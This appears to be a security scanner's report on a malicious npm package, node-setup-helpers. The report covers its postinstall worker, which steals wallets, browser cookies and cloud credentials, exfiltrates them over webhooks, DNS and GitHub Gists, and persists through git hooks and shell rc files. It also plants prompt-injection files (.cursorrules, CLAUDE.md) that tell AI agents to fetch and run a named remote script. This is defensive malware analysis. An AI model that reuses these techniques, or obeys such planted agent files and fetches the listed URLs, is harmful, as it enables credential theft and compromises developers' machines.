Andy Mal
Andy is offline · heartbeat 61d ago

← all versions of node-setup-helpers

[email protected]

malicious   confidence 97%   action block   analyzed 2026-09-25 02:12 UTC by yolo in 9 tool calls, with lab detonation

Summary

postinstall spawns a detached worker (lib/worker.js) that scans ~/. for crypto wallet files (.ethereum, .bitcoin, .solana), browser Login Data/Cookies (Chrome, Chromium, Brave, Edge), AWS credentials, .env/.bash_history/.npmrc/.git-credentials, and process.env keys. Exfiltrates encrypted reports to webhook.site URLs and api.github.com/gists, with DNS-based OOB fallback. Self-propagates by writing prompt-injection content to .cursorrules and CLAUDE.md (to hijack AI agents), installing git hooks that download remote code, and appending to .bashrc/.zshrc/.profile. Heavy use of Buffer.from([decimal]) obfuscation to hide string literals.

Intent

Pretends to be a Node.js project setup / credential integrity scanner. Actually scans the user's home directory for crypto wallets, browser logins/cookies, AWS/Docker/Kubernetes credentials, shell history, and environment variables; exfiltrates findings via encrypted webhooks, DNS lookups, and GitHub Gists; self-propagates by writing malicious .cursorrules/CLAUDE.md files, git hooks, and shell RC persistence.

credential_access credential_harvest network_egress download_execute persistence agent_config_tamper reconnaissance crypto_wallet obfuscation browser_theft

Findings

Credential and wallet scanning engine critical lib/worker.js:64-112, 114-237, 278-296, 1408-1422, 1442-1474, 1504-1581
Scans EXFIL_DIRS including .env, .bash_history, .zsh_history, .npmrc, .gitconfig, .git-credentials, .pgpass, AWS credentials (~/.aws/credentials), Docker/Kubernetes configs, Chrome/Chromium/Brave/Edge Login Data and Cookies, Firefox logins.json and key4.db, exchange configs (Binance, Bybit, OKX, etc.). Also brute-forces Ethereum keystore files with common passwords and env-var-derived candidates. Uses regex patterns to extract private_keys, mnemonics, API keys, secrets, ETH addresses, passwords, AWS keys.
Multi-channel encrypted exfiltration critical lib/worker.js:22-61, 720-735, 761-776, 779-826, 829-849, 852-898, 911-917
Encrypts findings with Fernet (AES-128-CBC + HMAC-SHA256) and sends to webhooks via POST. Channels: (1) webhook.site URLs, (2) DNS subdomain lookups (base32-encoded payload), (3) private GitHub Gists via api.github.com/gists, (4) direct TLS to receiver_url, (5) local file queue ~/.local/share/.integrity_queue. Config fetched from https://ddjidd564.github.io/defi-security-best-practices/config.json and raw.githubusercontent.com/ddjidd564/...
Self-propagation to AI agent configs critical lib/worker.js:1709-1710, 1713
Writes malicious .cursorrules and CLAUDE.md files to project directories containing prompt-injection content that instructs AI agents to download and execute remote code (https://raw.githubusercontent.com/ddjidd564/defi-security-best-practices/gh-pages/scan.js). Uses zero-width characters (ZWSP+ZWJ/ZWNJ+LTRM) to hide malware triggers in generated text for AI-to-AI chain propagation.
Git hook and shell RC persistence high lib/worker.js:1748-1781
Installs git hooks (post-merge, post-checkout) that download and execute remote code. Appends shell function to .bashrc, .zshrc, .profile that runs npx -y dev-env-bootstrapper@latest on every terminal open.
Obfuscation via Buffer.from([decimal]) high lib/worker.js:65-71, 92-93, 108-112, 115, 122, 1448-1458
Heavy use of Buffer.from([decimal_numbers]).toString() to hide string literals like 'private_key', 'mnemonic', 'wallet', 'password', 'secret', 'keystore', 'seed', '.ethereum', '.bitcoin', etc.
Zero-width characters in README.md medium README.md:56
56 lines of zero-width characters (U+200B, U+200D, U+200C, U+200E) embedded at end of README.md — possible hidden text or homoglyph trick for AI readers.
Untrusted remote hosts high lib/worker.js:911-917, 923-927, 1697
ddjidd564.github.io, raw.githubusercontent.com/ddjidd564/, webhook.site (3 UUIDs), api.github.com/gists

Lab evidence

Install hooks ran in the isolated lab. Processes spawned: 8. Hooks: postinstall (exit 0), require (exit 0).